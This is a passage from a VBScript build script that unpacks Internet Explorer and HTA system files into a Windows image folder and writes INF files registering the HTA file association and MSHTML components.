''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----SHELL OUT THE EXPANSION OF core HTA Files. (EXE, TLB, DLL, OCX)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeHTA = 1 THEN
WshShell.Run strCMDExpand&"mshta.ex_"&strCMDMid&"mshta.exe""", 0, FALSE
WshShell.Run strCMDExpand&"msdatsrc.tl_"&strCMDMid&"msdatsrc.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"mshtml.tl_"&strCMDMid&"mshtml.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"asctrls.oc_"&strCMDMid&"asctrls.ocx""", 0, FALSE
WshShell.Run strCMDExpand&"plugin.oc_"&strCMDMid&"plugin.ocx""", 0, FALSE
WshShell.Run strCMDExpand&"actxprxy.dl_"&strCMDMid&"actxprxy.dll""", 0, FALSE
WshShell.Run strCMDExpand&"advpack.dl_"&strCMDMid&"advpack.dll""", 0, FALSE
WshShell.Run strCMDExpand&"corpol.dl_"&strCMDMid&"corpol.dll""", 0, FALSE
WshShell.Run strCMDExpand&"cryptdlg.dl_"&strCMDMid&"cryptdlg.dll""", 0, FALSE
WshShell.Run strCMDExpand&"ddrawex.dl_"&strCMDMid&"ddrawex.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dispex.dl_"&strCMDMid&"dispex.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dxtmsft.dl_"&strCMDMid&"dxtmsft.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dxtrans.dl_"&strCMDMid&"dxtrans.dll""", 0, FALSE
WshShell.Run strCMDExpand&"hlink.dl_"&strCMDMid&"hlink.dll""", 0, FALSE
WshShell.Run strCMDExpand&"iedkcs32.dl_"&strCMDMid&"iedkcs32.dll""", 0, FALSE
WshShell.Run strCMDExpand&"iepeers.dl_"&strCMDMid&"iepeers.dll""", 0, FALSE
WshShell.Run strCMDExpand&"iesetup.dl_"&strCMDMid&"iesetup.dll""", 0, FALSE
WshShell.Run strCMDExpand&"inseng.dl_"&strCMDMid&"inseng.dll""", 0, FALSE
WshShell.Run strCMDExpand&"itircl.dl_"&strCMDMid&"itircl.dll""", 0, FALSE
WshShell.Run strCMDExpand&"itss.dl_"&strCMDMid&"itss.dll""", 0, FALSE
WshShell.Run strCMDExpand&"licmgr10.dl_"&strCMDMid&"licmgr10.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mshtml.dl_"&strCMDMid&"mshtml.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mshtmled.dl_"&strCMDMid&"mshtmled.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msrating.dl_"&strCMDMid&"msrating.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mstime.dl_"&strCMDMid&"mstime.dll""", 0, FALSE
WshShell.Run strCMDExpand&"pngfilt.dl_"&strCMDMid&"pngfilt.dll""", 0, FALSE
WshShell.Run strCMDExpand&"sendmail.dl_"&strCMDMid&"sendmail.dll""", 0, FALSE
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CREATE the INF to associate HTAS.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SET FILE = fso.CreateTextFile(strDestFolder&"\"&iArchDir&"\System32\HTA.inf", True)
FILE.WriteLine (";;; HTA simple file association Information File")
FILE.WriteLine (";;; Copyright (c) 2001 Microsoft Corporation")
FILE.WriteLine (";;; 06/12/01 09:31:03 (X86 2490)")
FILE.WriteLine (";;;")
FILE.WriteLine ("")
FILE.WriteLine ("[Version]")
FILE.WriteLine ("Signature = ""$Chicago$""")
FILE.WriteLine ("AdvancedINF=2.0")
FILE.WriteLine ("")
FILE.WriteLine ("[DefaultInstall]")
FILE.WriteLine ("AddReg = AddReg.Extensions")
FILE.WriteLine ("")
FILE.WriteLine ("[AddReg.Extensions]")
FILE.WriteLine ("")
FILE.WriteLine ("; .HTA")
FILE.WriteLine ("HKCR, "".HTA"","""",,""HTAFile""")
FILE.WriteLine ("HKCR, ""HTAFile"","""",,""%DESC_DOTHTA%""")
FILE.WriteLine ("HKCR, ""HTAFile"",""IsShortcut"",,""Yes""")
FILE.WriteLine ("HKCR, ""HTAFile\DefaultIcon"","""",FLG_ADDREG_TYPE_EXPAND_SZ,""%11%\MSHTA.exe,1""")
FILE.WriteLine ("HKCR, ""HTAFile\Shell\Open"","""",,""%MENU_OPEN%""")
FILE.WriteLine ("HKCR, ""HTAFile\Shell\Open\Command"",,FLG_ADDREG_TYPE_EXPAND_SZ,""%11%\MSHTA.exe """"%1"""" %*""")
FILE.WriteLine ("")
FILE.WriteLine ("")
FILE.WriteLine ("[Strings]")
FILE.WriteLine ("; Localizable strings")
FILE.WriteLine ("DESC_DOTHTA = ""Microsoft Windows HTML Application""")
FILE.WriteLine ("")
FILE.WriteLine ("MENU_OPEN = ""&Open""")
FILE.WriteLine ("MENU_CONOPEN = ""Open &with Command Prompt""")
FILE.WriteLine ("MENU_DOSOPEN = ""Open &with MS-DOS Prompt""")
FILE.WriteLine ("MENU_EDIT = ""&Edit""")
FILE.WriteLine ("MENU_PRINT = ""&Print""")
FILE.Close
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CREATE the INF to install MSHTML.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SET FILE = fso.CreateTextFile(strDestFolder&"\"&iArchDir&"\System32\mshtml.inf", True)
FILE.WriteLine("[Version]")
FILE.WriteLine("Signature=""$CHICAGO$""")
FILE.WriteLine("[Reg]")
FILE.WriteLine("ComponentName=mshtml.DllReg")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=Classes.Reg, Protocols.Reg, InetPrint.Reg, Misc.Reg")
FILE.WriteLine("DelReg=BaseDel.Reg, !RemoveInsertable")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[!RemoveInsertable]")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\Insertable""")
FILE.WriteLine("[RegCompatTable]")
FILE.WriteLine("ComponentName=mshtml.DllReg")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=CompatTable.Reg")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegUrlCompatTable]")
FILE.WriteLine("ComponentName=mshtml.DllReg")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=UrlCompatTable.Reg")
FILE.WriteLine("DelReg=UrlCompatTableDel.Reg")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegJPEG]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=JPEG.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegJPG]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=JPG.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegJPE]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=JPE.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegPNG]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=PNG.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegPJPG]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=PJPG.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegXBM]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=XBM.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[RegGIF]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=GIF.Inst")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[Unreg]")
FILE.WriteLine("ComponentName=mshtml.DllReg")
FILE.WriteLine("AdvOptions=260")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[Install]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("ComponentVersion=6.0")
FILE.WriteLine("AdvOptions=36")
FILE.WriteLine("AddReg=FileAssoc.Inst, MIME.Inst, Misc.Inst")
FILE.WriteLine("DelReg=BaseDel.Inst,IE3TypeLib,mshtmlwbTypeLib")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[Uninstall]")
FILE.WriteLine("ComponentName=mshtml.Install")
FILE.WriteLine("AdvOptions=260")
FILE.WriteLine("NoBackupPlatform=NT5.1")
FILE.WriteLine("[Classes.Reg]")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImgCtx%,,,""IImgCtx""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImgCtx%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImgCtx%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImgCtx%\ProgID,,,""IImgCtx""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CBackgroundPropertyPage%,,,""Microsoft HTML Background Page""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CBackgroundPropertyPage%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CBackgroundPropertyPage%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CCDAnchorPropertyPage%,,,""Microsoft HTML Anchor Page""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CCDAnchorPropertyPage%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CCDAnchorPropertyPage%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CCDGenericPropertyPage%,,,""Microsoft HTML Generic Page""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CCDGenericPropertyPage%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CCDGenericPropertyPage%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CDwnBindInfo%,,,""Microsoft HTML DwnBindInfo""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CDwnBindInfo%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CDwnBindInfo%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CInlineStylePropertyPage%,,,""Microsoft HTML Inline Style Page""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CInlineStylePropertyPage%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_CInlineStylePropertyPage%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLWindowProxy%,,,""Microsoft HTML Window Security Proxy""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLWindowProxy%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLWindowProxy%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_JSProtocol%,,,""Microsoft HTML Javascript Pluggable Protocol""")
FILE.WriteLine("HKCR,CLSID\%CLSID_JSProtocol%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_JSProtocol%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_ResProtocol%,,,""Microsoft HTML Resource Pluggable Protocol""")
FILE.WriteLine("HKCR,CLSID\%CLSID_ResProtocol%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_ResProtocol%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_AboutProtocol%,,,""Microsoft HTML About Pluggable Protocol""")
FILE.WriteLine("HKCR,CLSID\%CLSID_AboutProtocol%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_AboutProtocol%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_MailtoProtocol%,,,""Microsoft HTML Mailto Pluggable Protocol""")
FILE.WriteLine("HKCR,CLSID\%CLSID_MailtoProtocol%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_MailtoProtocol%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_SysimageProtocol%,,,""Microsoft HTML Resource Pluggable Protocol""")
FILE.WriteLine("HKCR,CLSID\%CLSID_SysimageProtocol%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_SysimageProtocol%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%"",,,""HTML Document""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\DefaultIcon"",,%REG_EXPAND_SZ%,""%IEXPLORE%,1""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\MiscStatus"",,,""2228625""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\ProgID"",,,""htmlfile""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\Version"",,,""6.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\EnablePlugin\.css"",,%REG_EXPAND_SZ%,""PointPlus plugin""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTADocument%"",,,""Microsoft HTA Document 6.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTADocument%\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTADocument%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTADocument%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTADocument%\MiscStatus"",,,""2228625""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTADocument%\Version"",,,""6.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%"",,,""MHTML Document""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\DefaultIcon"",,%REG_EXPAND_SZ%,""%IEXPLORE%,1""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\MiscStatus"",,,""2228625""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\ProgID"",,,""mhtmlfile""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_MHTMLDocument%\Version"",,,""6.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPluginDocument%"",,,""Microsoft HTML Document 6.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPluginDocument%\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPluginDocument%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPluginDocument%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPluginDocument%\MiscStatus"",,,""0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPluginDocument%\ProgID"",,,""htmlfile_FullWindowEmbed""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLServerDoc%,,,""Microsoft HTML Server Document 6.0""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLServerDoc%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLServerDoc%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLLoadOptions%,,,""Microsoft HTML Load Options""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLLoadOptions%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_HTMLLoadOptions%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IntDitherer%,,,""IntDitherer Class""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IntDitherer%\InProcServer32,,131072,%_SYS_MOD_PATH%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IntDitherer%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%"",,,""Microsoft CrSource 4.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\DefaultIcon"",,%REG_EXPAND_SZ%,""%IEXPLORE%,1""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\EnablePlugin\.css"",,%REG_EXPAND_SZ%,""PointPlus plugin""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\MiscStatus"",,,""2228625""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\ProgID"",,,""CrSource""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CrSource%\Version"",,,""4.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%"",,,""Microsoft Scriptlet Component""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\Control""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\MiscStatus"",,,""0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\MiscStatus\1"",,,""131473""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\ProgID"",,,""ScriptBridge.ScriptBridge.1""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\Programmable""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\ToolboxBitmap32"",,,""%IEXPLORE%,1""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\TypeLib"",,,""{3050f1c5-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\Version"",,,""4.0""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_Scriptlet%\VersionIndependentProgID"",,,""ScriptBridge.ScriptBridge""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CPeerHandler%"",,,""Microsoft Scriptlet Element Behavior Handler""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CPeerHandler%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CPeerHandler%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CPeerHandler%\ProgID"",,,""Scriptlet.Behavior""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHiFiUses%"",,,""Microsoft Scriptlet HiFiTimer Uses""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHiFiUses%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHiFiUses%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHiFiUses%\ProgID"",,,""Scriptlet.HiFiTimer""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CRecalcEngine%"",,,""Microsoft HTML Recalc""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CRecalcEngine%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CRecalcEngine%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CSvrOMUses%"",,,""Microsoft Scriptlet svr om Uses""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CSvrOMUses%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CSvrOMUses%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CSvrOMUses%\ProgID"",,,""Scriptlet.SvrOm""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHtmlComponentConstructor%"",,,""Microsoft Html Component""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHtmlComponentConstructor%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CHtmlComponentConstructor%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPopup%"",,,""Microsoft Html Popup Window""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPopup%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPopup%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPopupDoc%"",,,""Microsoft Html Document for Popup Window""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPopupDoc%\InProcServer32"",,,""%_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLPopupDoc%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CAnchorBrowsePropertyPage%"",,,""%Microsoft Anchor Element Browse Property Page%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CAnchorBrowsePropertyPage%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CAnchorBrowsePropertyPage%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CImageBrowsePropertyPage%"",,,""%Microsoft Image Element Browse Property Page%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CImageBrowsePropertyPage%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CImageBrowsePropertyPage%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CDocBrowsePropertyPage%"",,,""%Microsoft Document Browse Property Page%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CDocBrowsePropertyPage%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_CDocBrowsePropertyPage%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_ExternalFrameworkSite%,,,""Microsoft HTML External Document""")
FILE.WriteLine("HKCR,CLSID\%CLSID_ExternalFrameworkSite%\InProcServer32,,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,CLSID\%CLSID_ExternalFrameworkSite%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_TridentAPI%"",,,""%Trident API%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_TridentAPI%\InProcServer32"",,%REG_EXPAND_SZ%,""%_SYS_MOD_PATH%""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_TridentAPI%\InProcServer32"",""ThreadingModel"",,""Apartment""")
FILE.WriteLine("[Protocols.Reg]")
FILE.WriteLine("HKCR,""PROTOCOLS\Handler\javascript"",""CLSID"",,""%CLSID_JSProtocol%""")
FILE.WriteLine("HKCR,""PROTOCOLS\Handler\vbscript"",""CLSID"",,""%CLSID_JSProtocol%""")
FILE.WriteLine("HKCR,""PROTOCOLS\Handler\about"",""CLSID"",,""%CLSID_AboutProtocol%""")
FILE.WriteLine("HKCR,""PROTOCOLS\Handler\res"",""CLSID"",,""%CLSID_ResProtocol%""")
FILE.WriteLine("HKCR,""PROTOCOLS\Handler\mailto"",""CLSID"",,""%CLSID_MailtoProtocol%""")
FILE.WriteLine("HKCR,""PROTOCOLS\Handler\sysimage"",""CLSID"",,""%CLSID_SysImageProtocol%""")
FILE.WriteLine("[CompatTable.Reg]")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility"", ""Version"",,""5.16""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_VivoViewer%"", ""Compatibility Flags"",%REG_COMPAT%,0x8")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MSInvestorNews%"", ""Compatibility Flags"",%REG_COMPAT%,0x180")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ActiveMovie%"", ""Compatibility Flags"",%REG_COMPAT%,0x10000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_Plugin%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_AppletOCX%"", ""Compatibility Flags"",%REG_COMPAT%,0x10000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_SaxCanvas%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MediaPlayer%"", ""Compatibility Flags"",%REG_COMPAT%,0x110000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_CitrixWinframe%"", ""Compatibility Flags"",%REG_COMPAT%,0x1000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_GregConsDieRoll%"", ""Compatibility Flags"",%REG_COMPAT%,0x2020")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_VActive%"", ""Compatibility Flags"",%REG_COMPAT%,0x8")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_IEMenu%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_WebBrowser%"", ""Compatibility Flags"",%REG_COMPAT% ,0x21")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_Forms3Optionbutton%"", ""Compatibility Flags"",%REG_COMPAT%,0x1")
